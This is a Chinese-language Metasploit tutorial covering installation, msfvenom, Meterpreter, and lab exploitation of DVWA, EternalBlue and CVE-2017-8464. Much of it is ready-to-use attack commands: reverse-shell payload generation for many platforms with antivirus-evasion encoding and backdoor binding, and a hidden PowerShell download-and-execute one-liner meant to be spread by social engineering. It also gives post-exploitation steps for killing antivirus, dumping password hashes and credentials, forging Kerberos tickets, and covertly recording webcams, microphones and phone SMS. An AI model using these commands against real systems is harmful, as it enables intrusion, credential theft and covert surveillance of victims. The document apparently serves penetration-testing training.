Metasploit


IP签名

metasploit

msf基础入门

metasploit发展史

418450a2cc3143c2bb296f73eccb131d

Metasploit框架使Metasploit具有良好的可扩展性,它的控制接口负责发现漏洞、攻击漏洞,提交漏洞,然后通过一些接口加入攻击后处理工具和报表工具。Metasploit框架可以从一个漏洞扫描程序导入数据,使用关于有漏洞主机的详细信息来发现可攻击漏洞,然后使用有效载荷对系统发起攻击,有效载荷就是在发现漏洞之后开发一种可行的攻击方法。其用于提取本地系统密码、安装其他软件或控制硬件等的模块,这些功能很像以前BO2K等工具所具备的功能。

2004年

2004年8月,在拉斯维加斯开了一次世界黑客交流会–叫黑帽简报(Black Hat Briefings). 在这个会议上,一款叫Metasploit 的攻击和渗透工具备受众黑客关注,出尽了风头。 Metasploit 是同 HD Moore 和 Spoonm等4名年轻人开发的,这款免费软件可以帮助黑客攻击和控制计算机,安全人员也可以利用 Metasploit 来加强系统对此类工具的攻击。Metasploit 的演示吸引了来自“美国国防部”和“国家安全局”等政府机构的众多安全顾问和个人,正如 Spoonm 在演讲中所说的, Metasploit 很简单,只需要求“找到目标,单击和控制”即可。 2004年 Metasploit 的发布在安全界引发了强烈的“地震”。

image.png

2005年

2005年6月,西雅图效区的微软公司总部园区内的管理情报中心,开了一次“蓝帽”会议。几百名微软公司的工程师和众多外界专家及黑客都被邀请进入微软帝国的中心。在会议中的黑客攻击演示中,当 Moore 向系统程序员们说明使用 Metasploit 测试系统对抗入侵的可靠程度时,Metasploit 让微软公司的开发人员再次感到不安。在程序员们看来,Metasploit 将会使系统安全面临严重的考验。 Metasploit (MSF) 在2003年以开放源码方式发布,是可以自由获取的开发框架。它是一个强大的开源平台,提供开发,测试和使用恶意代码,这个环境为渗透测试,为shellcode 编写和漏洞研究提供了一个可靠平台。 Metasploit框架直到2006年发布的2.7版本都用Perl脚本语言编写,由于Perl的一些缺陷,开发者于2007年底使用Ruby语言重写了该框架。到2007年年底,Spoonm和马特·米勒已经离开了项目。从2008年发布的3.2版本开始,该项目采用新的3段式BSD许可证。

2009年

2009年10月21号,漏洞管理解决公司Rapid7收购Metasploit项目。Rapid7承诺成立专职开发团队,仍然将源代码置于3段式BSD许可证下。

BSD许可证

相较于GPL许可证和MPL许可证的严格性,BSD许可证就宽松许多了,一样是只需要附上许可证的原文,不过比较有趣的是,它还要求所有进一步开发者将自己的版权资料放上去,所以拿到以BSD许可证发行的软件可能会遇到一个小状况,就是这些版权资料许可证占的空间比

image.png

Metasploit发展前景

image.png

Linux安装msf

1. ubuntu安装msf

环境准备:

vm虚拟机

Ubuntu桌面版镜像

打开终端 输入 sudo su 获取root权限

然后输入命令

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall

然后赋755权限 并执行安装

chmod 755 msfinstall && ./msfinstall

2. 直接安装kali系统

第一种vm虚拟机 kali

第二种 iso安装镜像

首先咱们进入kali官网下载kali

https://www.kali.org/get-kali/#kali-bare-metal 选择安装版镜像

1639993881805

kali更新msf

登录kali

打开终端获取root权限

sudo su

开始更新

首先先添加更新源

进入 etc/apt/ 目录

打开 sources.list 需要使用root权限执行

image.png

deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib 

deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib 

#阿里云kali更新源

 deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib 

deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib

 #163 DEBIAN源 

deb http://mirrors.163.com/debian wheezy main non-free contrib 

deb-src http://mirrors.163.com/debian wheezy main non-free contrib deb http://mirrors.163.com/debian wheezy-proposed-updates main non-free contrib 

deb-src http://mirrors.163.com/debian wheezy-proposed-updates main non-free contrib 

deb-src http://mirrors.163.com/debian-security wheezy/updates main non-free contrib     

image.png

apt-get update              
apt-get  install metasploit-framework

如果更新时显示update无效的错误!

image.png

输入下面几个命令修复

wget -q -O - https://archive.kali.org/archive-key.asc | apt-key add 

apt-get clean 

apt-get update      

4 如果报:E: Unmet dependencies. Try ‘apt –fix-broken install’ with no packages (or specify a solution).

apt --fix-broken install

Windows安装msf

下载metasploit

首先进入metasploit官网

https://www.metasploit.com/

image.png

点击 Download 下载

或者直接访问这个 地址

https://www.metasploit.com/download

进入这个页面 点击 Metasploit Framework 下面的 Download

image.png

会访问这个地址

https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers

如果不能打开GitHub 可以通过镜像服务器 访问

https://hub.fastgit.org/rapid7/metasploit-framework/wiki/Nightly-Installers

image.png

#官网镜像(可以用来clone push等,但是不能登录)

https://github.com.cnpmjs.org/
https://git.sdut.me/

#github常用的镜像

https://hub.fastgit.org

https://git.sdut.me/

http://github-mirror.bugkiller.org/
#api镜像
https://api.git.sdut.me/

然后找到Windows版本的下载

点击 latest Windows installer 下载 最新版本

点击 view older builds 下载历史版本

image.png

安装metasploit并配置环境变量

安装前关闭win自带的杀毒 和卸载第三方杀毒

添加环境变量

C:\metasploit-framework\bin

启动并使用

首次启动 需要初始化数据库

终端中输入 msfdb init

启动MSF框架

终端中输入 msfconsole

MSF图形界面

MSF图形化界面Viper(炫彩蛇)下载与使用

Viper是一款图形化内网渗透工具,将内网渗透过程中常用的战术及技术进行模块化及武器化.

集成杀软绕过,内网隧道,文件管理,命令行等基础功能.

当前已集成70+个模块,覆盖初始访问/持久化/权限提升/防御绕过/凭证访问/信息收集/横向移动等大类.

在Kali Linux上安装Docker

apt-get update

使用apt安装docker

apt-get install -y docker.io

设置开机启动 systemctl start docker

检查启动状态 docker version

1640043246556

安装docker-compose

curl -L https://get.daocloud.io/docker/compose/releases/download/1.25.5/docker-compose-`uname -s-uname -m` > /usr/bin/docker-compose

#给赋可执行状态 chmod +x /usr/bin/docker-compose

1640043297604

#设置安装目录

export VIPER_DIR=/root/VIPER

#执行如下命名生成安装目录,并进入安装目录

mkdir -p $VIPER_DIR && cd $VIPER_DIR

1640043341743

执行如下命令生成docker-compose.yml

如果你看到的命令是乱的 https://note.youdao.com/s/GdzSJnWD 看这个文档

tee docker-compose.yml <<-‘EOF’ version: “3” services: viper: image: registry.cn-shenzhen.aliyuncs.com/toys/viper:latest container_name: viper-c network_mode: “host” restart: always volumes: - ${PWD}/loot:/root/.msf4/loot - ${PWD}/db:/root/viper/Docker/db - ${PWD}/module:/root/viper/Docker/module - ${PWD}/log:/root/viper/Docker/log - ${PWD}/nginxconfig:/root/viper/Docker/nginxconfig command: [“VIPER_PASSWORD”] EOF

1640043385926

设置登录密码

Viper不允许使用默认密码,diypassword替换为自定义密码密码

export VIPER_PASSWORD=输入你的密码

1640043439186

写入密码到docker-compose.yml

sed -i “s/VIPER_PASSWORD/$VIPER_PASSWORD/g” docker-compose.yml

#使用命令查看一下配置

cat docker-compose.yml

1640043478861

创建启动Viper

cd $VIPER_DIR docker-compose up -d

启动viper

docker-compose start

1640043509764

等待15s系统启动,访问

在终端内输入 ip a 查看本机ip

  • 我的IP是192.168.3.31 那么我在浏览器里就访问 https://192.168.3.31:60000 登录名是 root 密码是 我上面设置的root

1640043540568

例如: 我的ip是 192.168.3.31 那么访问炫彩蛇的IP就是 192.168.3.31:60000

注意:

所有的docker-compose命令必须在安装目录执行才会有效果

msf目录结构

kali终端中输

/usr/share/metasploit-framework

然后输入 ls 查看

image.png

image.png

image.png

要记住的一些模块

modules:目录里面存放渗透使用的 辅助模块 编码模块 利用模块 攻击载荷 后渗透模块

plugins: 这个模块需要用load加载,主要提供数据库连接插件 和 各种要用到的插件。

tools:包含一些有用的脚本和零散的工具。

scripts:目录里面存放都是meterpreter利用的脚本。

db:数据放在这个目录里

data:存放使用到的文件,比如密码字典、meterpreter、passivex、vnc、dlls等工具和一些用户接口代码,msfweb和一些其他模块用到的数据文件

lib:库文件都保存在这个目录里

msf核心功能

metasploid核心模块

msf的模块都放在

metasploit-framework/modules/这个目录下

image.png

auxiliary:辅助模块,辅助渗透(端口扫描、登录密码爆破、漏洞验证等)

exploits:漏洞利用模块,包含主流的漏洞利用脚本,通常是对某些可能存在漏洞的目标进行漏洞利用。

payloads:攻击载荷,主要是攻击成功后在目标机器执行的代码,比如反弹shell的代码

4 post:后渗透阶段模块,漏洞利用成功获得meterpreter之后, 向目标发送的一些功能性

指令,如:提权等

encoders: 编码器模块,主要包含各种编码工具,对payload进行编码加密,以便绕过入侵检测和过滤系统

evasion:躲避模块,用来生成免杀payload

nops:这里主要放着调整shellcode 前置nop指令长度的工具(不理解没关系)

msfvenom常用参数

Kali中的 msfvenom 取代了msfpayload和msfencode,常用于生成后门木马

msfpayload是MSF攻击荷载生成器,用于生成shellcode和可执行代码。
msfencode是MSF编码器。


一 、msfvenom 常用参数

-l
列出指定模块的所有可用资源,模块类型包括: payloads, encoders, nops, all

-p
指定需要使用的payload(攻击荷载)。

-f
指定输出格式

Executable formats:Asp、aspx、aspx-exe、axis2、dll、elf、elf-so、exe、exe-only、exe-service、exe-smallhta-psh、jar、jsp、loop-vbs、macho、msi、msi-nouac、osx-app、psh、psh-cmd、psh-net、psh-reflection、python-reflection、vba、vba-exe、vba-psh、vbs、war;

Transform formats:base32、base64、bash、c、csharp、dw、dword、hex、java、js_be、js_le、num、perl、pl、powershell、ps1、py、python、raw、rb、ruby、sh、vbapplication、vbscript;

-e
指定需要使用的encoder(编码器)编码免杀。

-a
指定payload的目标架构

选择架构平台:x86 | x64 | x86_64
Platforms:windows, netware, android, java, ruby, linux, cisco, solaris, osx, bsd, openbsd, bsdi, netbsd, freebsd, aix, hpux, irix, unix, php, javascript, python, nodejs, firefox, mainframe

-o
保存payload文件输出。

-b
设定规避字符集,比如: ‘\x00\xff’避免使用的字符

-n
为payload预先指定一个NOP滑动长度

-s
设定有效攻击荷载的最大长度生成payload的最大长度,就是文件大小。

-i
指定payload的编码次数

-c
指定一个附加的win32 shellcode文件

-x
指定一个自定义的可执行文件作为模板
例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。

-k
保护模板程序的动作,注入的payload作为一个新的进程运行
例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。

-v
指定一个自定义的变量,以确定输出格式


二、各平台生成payload命令


Windows

msfvenom -a x86 –platform Windows -p windows/meterpreter/reverse_tcp

LHOST=192.168.3.33 LPORT=4444 -e x86/shikata_ga_nai -b ‘\x00\x0a\xff’ -i 10 -f exe -o payload.exe


Mac

msfvenom -a x86 –platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.3.33 LPORT=4444 -f macho -o payload.macho


Android

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -o payload.apk


Powershell

msfvenom -a x86 –platform Windows -p windows/powershell_reverse_tcp LHOST=192.168.1.1 LPORT=8888 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1


Linux

msfvenom -a x86 –platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f elf -o payload.elf


php

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.1 LPORT=8888 -f raw > shell.php


aspx

msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=8888 -f aspx -o payload.aspx


JSP

msfvenom –platform java -p java/jsp_shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.jsp


war

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw - o payload.war


nodejs

msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.js


python

msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.py


perl

msfvenom -p cmd/unix/reverse_perl LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.pl


ruby

msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.rb


lua

msfvenom -p cmd/unix/reverse_lua LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.lua


windows shellcode

msfvenom -a x86 –platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f c


linux shellcode

msfvenom -a x86 –platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f c


mac shellcode

msfvenom -a x86 –platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f c

msfconsole漏洞利用流程

阶段划分

漏洞利用分为 前期交互 情报搜集 威胁建模 漏洞分析 .渗透利用 后渗透利用 报告 这几个阶段

1.前期交互阶段:

与客户组织进行交互讨论,确定范围,目标等

​ 这个阶段大家可以理解为情报收集前阶段,主要是为了找到目标 确认范围

1643165117094

2.情报搜集阶段:

获取更多目标组织信息,

| 外围信息搜索 - Google

1643165139006

​ 主机探测与端口扫描 如 -Nmap

​ 服务扫描 利用metasploit中的auxiliary/scanner/中的服务扫描模块,可以对靶机中的服务版本等信息进行扫描

​ 网络漏洞扫描 -OpenVAS、Nessus等

​ 其他工具扫描 py脚本扫描

3.威胁建模阶段:

理清头绪,确定出最可行的漏洞利用通道,这个建模阶段写的文档不是给自己看的 是给整个团队看的 方便多人合作

1643165166875

​ 这个阶段主要是根据收集到的情报进行整理 ,理清漏洞利用思路。

4.漏洞分析阶段:

搜索可获取的渗透代码资源

1643165182827

​ 这个阶段主要 挑选匹配可能存在的漏洞利用模块,shellcode

5.渗透利用阶段:

找出安全漏洞,入侵系统

​ 这个阶段尝试利用漏洞 ,配置监控,开始漏洞利用

6.后渗透利用阶段:

Meterpreter,实施操作

​ 这个阶段 就开始实施相关数据下载 后门维持 提权等操作

7.报告阶段:

漏洞利用渗透测试报告 (详细报告编写看 渗透测试报告课程)

1643165204135

| 这个阶段主要是对本次渗透进行总结,概述总体上包括 时间、人员、漏洞利用范围、技术手段等等。我们需要在这部分确定漏洞利用执行的时间范围、参与漏洞利用的人员及联系方式、约定的漏洞利用范围和一些漏洞利用过程中采用的技术、工具描述。写清 前期交互 情报搜集 威胁建模 漏洞分析 .渗透利用 后渗透利用 漏洞利用结果 安全建议 等内容

在撰写的过程中,需要特别注意的是:漏洞描述切忌不可过于简单,一笔带过;在安全建议部分避免提出没有实际意义的安全建议,比如加强安全意识;报告结构混乱不堪,太多复杂的专业术语,比如绕狗、x站等等;

实际操作

主机范围和目标已确定

1 情报搜集

基于msf发现内网存活主机

search 搜索

msf终端内输入 search scanner type:auxiliary

可用于发现主机的模块

auxiliary/scanner/discovery/arp_sweep # 基于ARP发现内网存活主机

auxiliary/scanner/discovery/udp_sweep # 基于UDP发现内网存活主机

auxiliary/scanner/ftp/ftp_version # 发现FTP服务

auxiliary/scanner/http/http_version # 发现HTTP服务

auxiliary/scanner/smb/smb_version # 基于smb发现内网存活主机

基于netbios发现内网存活主机

基于snmap发现内网存活主机

基于ICMP发现内网存活主机

2 威胁建模

经过第一步情报收集 我们通过arp发现了 目标机器ip

然后通过对目标机器的ip扫描 我们知道了 目标机器开通了 80端口 有web服务 开了ftp端口 有文件服务

开了 smb

最终决定对smb相关的漏洞进行利用

备选方案通过植入木马的方式进行利用


3 漏洞分析

第一步先查看smb利用漏洞有哪些 比如永恒之蓝

  1. 查询msf与永恒之蓝相关的 模块

使用命令 search ms17_010

  1. 然后我们利用了一个永恒之蓝的 扫描模块

use auxiliary/scanner/smb/smb_ms17_010

  1. 输入 options 查看扫描模块需要配置的参数

    1. 然后我们配置了rhost (rhost指的是目标主机ip)
    2. set rhost ip
  2. 然后我们执行扫描 输入 run

发现了 可能存在漏洞的主机

4 渗透利用

  1. 加载 永恒之蓝漏洞利用模块

use exploit/windows/smb/ms17_010_eternalblue

  1. 输入 options 查看扫描模块需要配置的参数

  2. 1 然后我们配置了rhost (rhost指的是目标主机ip)

    set rhost ip

​ 2 然后我们配置了 lhost (lhost指的是 监控主机或攻击机 ip)

​ set lhost ip

​ 3 然后我们配置了 lport (指的是监控的端口 )

​ set lport ip

注意端口必须没有被占用

  1. 然后我们执行扫描 输入 run 执行永恒之蓝漏洞利用

但是发现失败 提示 模块已经利用了 但是没有返回对应 session

image.png

5 备选方案通过植入木马的方式进行利用

  1. 我们知道目标机器是win系统 所以使用msfvenom 生成一个win平台的木马
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.3.33 LPORT=4446 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 10  -f exe -o payload.exe
msfvenom -a x64 --platform Windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.25.131 LPORT=4445 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 10  -f exe -o payload.exe -x test.exe
  1. 漏洞生成后 通过启动一个py服务将木马上传到目标机器

python -m SimpleHTTPServer 80

  1. 配置监控程序我们使用了

use exploit/multi/handler

  1. 输入 options进入配置

    然后我们配置 lhost (lhost指的是 监控主机或攻击机 ip)

    set lhost ip

​ 然后我们配置了 lport (指的是监控的端口 )

​ set lport ip

​ 注意端口必须和msfvenom 生成的木马端口一样才行

  1. 配置攻击载荷 payload

​ set payload windows/meterpreter/reverse_tcp

  1. 执行利用等待目标机器执行木马

  2. 目标机器执行了木马

利用成功并获得meterpreter


后渗透利用

进入新文档

报告阶段

meterpreter介绍

一、 Meterpreter是什么

Meterpreter是Metasploit框架中的一个利器,作为漏洞溢出后的攻击载荷使用,攻击载荷在触发漏洞后会返回一个由我们控制的通道,可用于远程执行命令!
Metasploit提供了各个主流平台的Meterpreter版本,包括Windows、Linux,同时支持x86、x64平台,另外,Meterpreter还提供了基于PHP和Java语言的实现。Meterpreter的工作模式是纯内存的,好处是启动隐藏,很难被杀毒软件监测到。不需要访问目标主机磁盘,所以也没什么入侵的痕迹。除上述外,Meterpreter还支持Ruby脚本形式的扩展。所以Ruby语言还很有必要了解下。

二、Meterpreter中常用的反弹类型

1.reverse_tcp
这是一个基于TCP的反向链接反弹shell, 使用起来很稳定

三、Meterpreter的常用命令

1.基本命令
命令 功能
help 查看Meterpreter帮助
background 返回,把meterpreter后台挂起
bgkill 杀死一个 meterpreter 脚本
bglist 提供所有正在运行的后台脚本的列表
bgrun 作为一个后台线程运行脚本
channel 显示活动频道
sessions -i number 与会话进行交互,number表示第n个session
使用session -i 连接到指定序号的meterpreter会话已继续利用
sesssions -k number 与会话进行交互
close 关闭通道
exit/quit 终止 meterpreter 会话
interact id 切换进一个信道
run 执行一个已有的模块,输入run后按两下tab,会列出所有的已有的脚本,常用的有autoroute,hashdump,arp_scanner,multi_meter_inject等
irb 进入 Ruby 脚本模式
read 从通道读取数据write# 将数据写入到一个通道
run/bgrun 前台和后台执行以后它选定的 meterpreter 脚本
use 加载 meterpreter 的扩展
load/use 加载模块
Resource 执行一个已有的rc脚本
2 常用命令
2.1 针对安卓手机的一些命令
命令 功能
dump_contacts 获取手机通讯录
dump_sms 获取短信记录
send_sms -d 15330252525 -t “hello” 控制实验手机发短信
geolocate 获取实验手机GPS定位信息
wlan_geolocate 获取实验手机Wi-Fi定位信息
record_mic -d 5 控制实验手机录音
webcam_list 获取实验手机相机设备
webcam_snap 控制实验手机拍照
webcam_stream 直播实验手机摄像头
2.2 针对Windows的一些命令
命令 功能
ps 查看进程
getpid 查看当前进程号
sysinfo 查看系统信息
run post/windows/gather/checkvm 查看目标机是否为虚拟机
route 查看完整网络路由
getuid 查看当前权限
getsystem 自动提权
run post/windows/manage/killav 关闭杀毒软件
run post/windows/manage/enable_rdp 启动远程桌面协议
run post/windows/gather/enum_logged_on_users 列举当前登录的用户
run post/windows/gather/enum_applications 查看当前应用程序
load espia ;screengrab 抓取目标机的屏幕截图
webcam_list 获取相机设备
webcam_snap 控制拍照
webcam_stream 直播摄像头
record_mic 控制录音
pwd 查看当前处于目标机的那个目录
getlwd 查看当前目录
run hashdump 导出当前用户密码哈希
用户名:SID:LM哈希:NTLM哈希:::
run windows/gather/smart_hashdump 导出密码哈希 权限更高
run windows/gather/credentials/windows_autologin 抓取自动登录的用户名和密码
直接获取明文密码(注意这个功能需要获取系统权限 获取系统权限需要输入getsystem)
load kiwi 加载kiwi
kiwi
命令 功能
creds_all 列举所有凭据
creds_kerberos 列举所有kerberos凭据
creds_msv 列举所有msv凭据
creds_ssp 列举所有ssp凭据
creds_tspkg 列举所有tspkg凭据
creds_wdigest 列举所有wdigest凭据
dcsync 通过DCSync检索用户帐户信息
dcsync_ntlm 通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create 创建黄金票据
kerberos_ticket_list 列举kerberos票据
kerberos_ticket_purge 清除kerberos票据
kerberos_ticket_use 使用kerberos票据
kiwi_cmd 执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam dump出lsa的SAM
lsa_dump_secrets dump出lsa的密文
password_change 修改密码
wifi_list 列出当前用户的wifi配置文件
wifi_list_shared 列出共享wifi配置文件/编码
3.文件系统命令
命令 功能
cat 查看文件内容,文件必须存在
del 删除指定的文件
upload /root/Desktop/netcat.exe c:\ 上传文件到目标机主上
download nimeia.txt /root/Desktop/ 下载文件到本机上如
edit 编辑文件
getlwd 打印本地目录
getwd 打印工作目录
lcd 更改本地目录
ls 列出在当前目录中的文件列表
lpwd 打印本地目录
pwd 输出工作目录
cd 进入目录文件下
rm 删除文件
mkdir 在受害者系统上的创建目录
rmdir 受害者系统上删除目录
dir 列出目标主机的文件和文件夹信息
mv 修改目标主机上的文件名
search -d d:\www -f web.config 搜索文件
search -f autoexec.bat 搜索文件
search -f sea*.bat c:\xamp\ 搜索文件
enumdesktops 用户登录数

PHP后门反弹连接

环境准备

1 DVWA靶场

DVWA下载:https://codeload.github.com/ethicalhack3r/DVWA/zip/master

注意:配置DVWA环境 准备PHP7.0以上,和 Nginx环境
1 配置数据库密码 配置 config/config.inc.php.dist 文件(注意后门的 .dist要通过重命名删掉)
2 使用浏览器访问 http://IP/setup.php
3 红字问题解决
4 缺少key 直接替换下面2句 或者 访问https://www.google.com/recaptcha/admin/create
$_DVWA[ ‘recaptcha_public_key’ ] = ‘6LdJJlUUAAAAAH1Q6cTpZRQ2Ah8VpyzhnffD0mBb’;
$_DVWA[ ‘recaptcha_private_key’ ] = ‘6LdJJlUUAAAAAM2a3HrgzLczqdYp4g05EqDs-W4K’;
5 allow_url_include: Disabled 提示没开启
找到php目录里的php.ini allow_url_include 将后面参数OFF 改成On 修改完成重启Nginx生效

2 Metasploit任意平台

可以是Windows版,可以是kali自带版

Metasploit配置监控及攻击载荷

1 配置监控-使用handler模块
use exploit/multi/handler

img

2 配置攻击载荷设置payload
第一步设置payload

set payload php/meterpreter/reverse_tcp

第二步设置 lhost 和 lport

set lhost xxxip ;

set lport xxx端口;

img

3 生成php后门执行攻击获得meterpreter

新建一个终端在终端内输入

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.3.23 lport=4456 R>shell.php

img

3.2 文件上传到目标站点目录,并访问

python -m SimpleHTTPServer 80

img

将shell.php

3.3 执行攻击获得meterpreter

img

run 或者exploit

获取到meterpreter 我们就可以做渗透操作了

比如 观看屏幕 可以在meterpreter里输入

run vnc

查看当前账号可以在meterpreter里输入

getuid

CVE-2017-0144“永恒之蓝”漏洞

一、 环境准备

1 一台Windows电脑

(可以使用虚拟机代替)

2 Metasploit任意平台

可以是Windows版,可以是kali自带版

二、 CVE-2017-0144 介绍

  1. 何为CVE-2017-0144?

​ CVE-2017-0144 既 永恒之蓝最早爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了勒索病毒,使全世界大范围内遭受了勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。

  1. 什么是SMB协议?

SMB是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。

  1. SMB工作原理是什么?

    (1):首先客户端发送一个SMB negport 请求数据报,,并列出它所支持的所有SMB的协议版本。服务器收到请求消息后响应请求,并列出希望使用的SMB协议版本。如果没有可以使用的协议版本则返回0XFFFFH,结束通信。

    (2):协议确定后,客户端进程向服务器发起一个用户或共享的认证,这个过程是通过发送SessetupX请求数据包实现的。客户端发送一对用户名和密码或一个简单密码到服务器,然后通过服务器发送一个SessetupX应答数据包来允许或拒绝本次连接。

    (3):当客户端和服务器完成了磋商和认证之后,它会发送一个Tcon或TconX SMB数据报并列出它想访问的网络资源的名称,之后会发送一个TconX应答数据报以表示此次连接是否接收或拒绝。

    (4):连接到相应资源后,SMB客户端就能够通过open SMB打开一个文件,通过read SMB读取文件,通过write SMB写入文件,通过close SMB关闭文件。

三、原理

永恒之蓝是在Windows的SMB服务处理SMB v1请求时发生的漏洞,这个漏洞导致攻击者在目标系统上可以执行任意代码。通过永恒之蓝漏洞会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

四、CVE-2017-0144 利用方法

  1. 启动Metasploit

终端里输入 msfconsole

  1. 查询利用模块

终端里输入 search ms17_010

img

  1. 使用探测模块

终端内输入 use auxiliary/scanner/smb/smb_ms17_010

  1. 设置探测范围

终端内输入 show options

img

上图中我们可以看到是需要配置一个RHOSTS

终端内输入 set rhosts 192.168.3.0/24 (设置扫描当前网段 可以通过 在终端内输入ip a 查看)

也可以设置范围 set rhosts 192.168.3.1-192.168.3.10

  1. 开始探测

终端内输入 run 执行探测

img

根据上图我们可以看到 192.168.3.8 这个IP的机器可能存在漏洞

  1. 开始漏洞利用

开始利用首先在终端里输入
search ms17_010

img
使用 模块
use exploit/windows/smb/ms17_010_eternalblue

  1. 配置利用模块

配置模块
show options
配置靶机
set rhost 192.168.3.8 这里IP填第五步探测到的IP

  1. 执行攻击

在终端里输入 run

img

知道咱们看到 win 则攻击成功 拿到meterpreter

  1. 后渗透操作

查看进程:ps
查看当前进程号:getpid
查看系统信息:sysinfo
查看目标机是否为虚拟机:run post/windows/gather/checkvm
查看完整网络设置:route
查看当前权限:getuid
自动提权:getsystem
关闭杀毒软件:run post/windows/manage/killav
启动远程桌面协议:run post/windows/manage/enable_rdp
列举当前登录的用户:run post/windows/gather/enum_logged_on_users
查看当前应用程序:run post/windows/gather/enum_applications
抓取目标机的屏幕截图:load espia ; screengrab
抓取摄像头的照片:webcam_snap
查看当前处于目标机的那个目录:pwd
查看当前目录:getlwd

CVE-2017-8464“震网三代反弹shell

一、什么是 CVE-2017-8464:

说明

2017年6月13日,微软官方发布编号为CVE-2017-8464的漏洞公告,官方介绍Windows系统在解析快捷方式时存在远程执行任意代码的高危漏洞,黑客可以通过U盘、网络共享等途径触发漏洞,完全控制用户系统,安全风险高危

传播的载体一般是LNK ,LNK是windows系统内应用程序快捷方式文件的文件类型后缀名。

危害

被攻击机插入存在攻击lnk的U盘后会反弹shell,哪怕是被隔离的内网,也可以在不上网的情况下被攻击。

二、环境准备:

  1. 可复现的操作系统版本:
  • Microsoft Windows 10 Version 1607 for 32-bit Systems
  • Microsoft Windows 10 Version 1607 for x64-based Systems
  • Microsoft Windows 10 for 32-bit Systems
  • Microsoft Windows 10 for x64-based Systems
  • Microsoft Windows 10 version 1511 for 32-bit Systems
  • Microsoft Windows 10 version 1511 for x64-based Systems
  • Microsoft Windows 10 version 1703 for 32-bit Systems
  • Microsoft Windows 10 version 1703 for x64-based Systems
  • Microsoft Windows 7 for 32-bit Systems SP1
  • Microsoft Windows 7 for x64-based Systems SP1
  • Microsoft Windows 8.1 for 32-bit Systems
  • Microsoft Windows 8.1 for x64-based Systems
  • Microsoft Windows RT 8.1
  1. 可复现的服务器系统版本:
  • Microsoft Windows Server 2008 R2 for Itanium-based Systems SP1
  • Microsoft Windows Server 2008 R2 for x64-based Systems SP1
  • Microsoft Windows Server 2008 for 32-bit Systems SP2
  • Microsoft Windows Server 2008 for Itanium-based Systems SP2
  • Microsoft Windows Server 2008 for x64-based Systems SP2
  • Microsoft Windows Server 2012
  • Microsoft Windows Server 2012 R2
  • Microsoft Windows Server 2016
  1. kali操作系统

三、利用原理 :

创建恶意快捷方式,包含恶意执行脚本,点击恶意快捷方式,导致本机中病毒,并且被远控。

四、实战利用

启动MSF

终端内输入:msfconsole

开始利用:

1、使用MSF创建一个后门

msf内输入:

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.3.23 lport=4456 -f psh-reflection>/var/www/html/link.ps1

2、在kali下开启apache2

终端内输入:service apache2 start

3、通过社会学进行快捷方式传播

powershell -windowstyle hidden -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘http://192.168.204.135/link.ps1');test.ps1"

1641972171811

1641972183309

4 回到MSF终端配置监听

msf内输入: use exploit/multi/handler

5 配置payload

set payload windows/x64/meterpreter/reverse_tcp

1641972198597

msf中输入 : show options 配置payload

1641972211876

设置 LHOST 和 LPORT

maf中输入:

  1. set lhost <当前机器ip> 设置 LHOST

  2. set lport <未被占用的端口> 设置 LPORT

1641972223277

  1. 最后在 输入 show options 查看配置是否生效

1641972233527

6、执行监听

msf中输入 : run 或者 exploit

1641972244295

进入靶机执行我们在靶机上创建的快捷方式

1641972183309

稍等片刻获取到meterpreter

1641972268406

五、后渗透

  1. 通过快捷方式执行程序

meterpreter中输入 shell

1641972283719

发现shell显示有乱码

shell内输入 chcp 65001

1641972295944

然后进入desktop目录(这个是win的桌面)

根据实际情况拼路径

shell 里输入:cd users/mb/desktop

1641972307789

  1. 更多操作

查看进程:ps
查看当前进程号:getpid
查看系统信息:sysinfo
